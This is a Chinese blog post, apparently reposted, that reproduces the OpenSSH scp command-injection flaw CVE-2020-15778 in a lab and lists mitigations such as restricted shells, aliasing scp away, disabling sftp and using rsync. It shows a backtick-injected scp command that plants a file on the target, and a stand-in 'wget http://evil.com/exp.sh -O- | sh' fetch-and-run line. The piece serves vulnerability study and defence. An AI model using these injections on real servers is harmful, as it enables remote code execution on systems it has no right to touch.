scp命令注入漏洞复现(CVE-2020-15778)处理

概要

openSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令,不过前提是需要知道ssh的登录密码。

OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效保护登录及数据的安全。其中,SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。
在这里插入图片描述

【影响范围】:OpenSSH <= 8.3p1

漏洞攻击原理说明

当使用scp复制文件到远程服务器时,在scp命令后面可跟上文件的路径,具体格式如下:

scp SourceFile user@host:directory/TargetFile

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/TargetFile
在这里插入图片描述
问题就出在"scp.c"文件的989行,如上图所示。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

示例:

模拟环境:

靶机kali : 172.16.24.151,靶机ssh密码为123456

1)scp ./111.txt [email protected]:/home/test/test/111 //用scp命令正常发送文件到靶机:

扫描二维码关注公众号,回复: 12460804 查看本文章

2)scp ./111.txt [email protected]:’touch /home/test/test/hack.sh/home/test/test/112 //执行带有payload的scp命令,payload内容为”在远程服务器上创建一个hack.sh文件“,相当于显示文件/目录之前先执行了 scp -t touch /home/test/test/hack.sh`/home/test/test/112,导致了命令注入到远程主机:
在这里插入图片描述
上图左边的攻击机执行了”向远程服务器创建hack.sh文件“的payload和发送"111.txt"文件,在图右边靶机中接收到了"hack.sh"和"112(也就是重命名后的111.txt)"。

这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。那么攻击者可以使用"wget http://evil.com/exp.sh -O- | sh"命令获取网站的shell。

【修复建议】:

1)等待官方补丁
2)加强ssh密码或密钥的管理保护,定期更换密码或密钥。
3)使用rsync代替scp

禁用scp

1)yum remove openssh-clients -y //卸载openssh-clients后,scp命令一并卸载了。

2)限制用户shell的方式

1)将用户的bash更改为受限制的bash模式,以便他们无法更改目录(如果您的系统上没有受限制的bash模式,this link将帮助并提供更多信息)
chsh -s / bin / rbash [用户名]

2)更改目录权限,以便只有用户可以编辑其主目录的内容

chmod 755 / home / [用户名]

3)删除用户的.bashrc文件

rm /home/[username]/.bashrc This site提供了更多信息,说明为什么在这种情况下删除.bashrc可能是个好主意.

4)创建.bash_profile并为要禁用的所有命令添加“安全”别名

5)将用户的.bash_profile的所有权更改为root
chown root:root /home/[username]/.bash_profile

6)最后,删除用户的.bash_profile的写权限
chmod 755 /home/[username/.bash_profile]

./bash_profile文件示例:可将scp命令别名为空

alias apt-get="printf ''"  
alias aptitude="printf ''"  
[...]  
alias vi="vi -Z" #将vi命令别名化为限制模式来禁用vi中的shell命令
alias alias="printf ''"  
alias scp="printf ''"    //#the user won't be able to run this 

3)使用PAM来限制用户权限,禁止chroot权限

4)附:禁止sftp

编辑配置文件:vi /etc/ssh/sshd_config,将如下行注释
Subsystem sftp /usr/libexec/openssh/sftp-server
把这行注释了,如下:
#Subsystem sftp /usr/libexec/openssh/sftp-server

退出保存后,重启sshd: service sshd restart

rsync

该命令正常情况下所有的linux默认都是安装的,但并没启动,文件位置:/etc/xinetd.d/;
配置文件:/etc/xinetd.d/rsync
在这里插入图片描述
service xinetd restart //启动rsync服务

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/ximenjianxue/article/details/111995636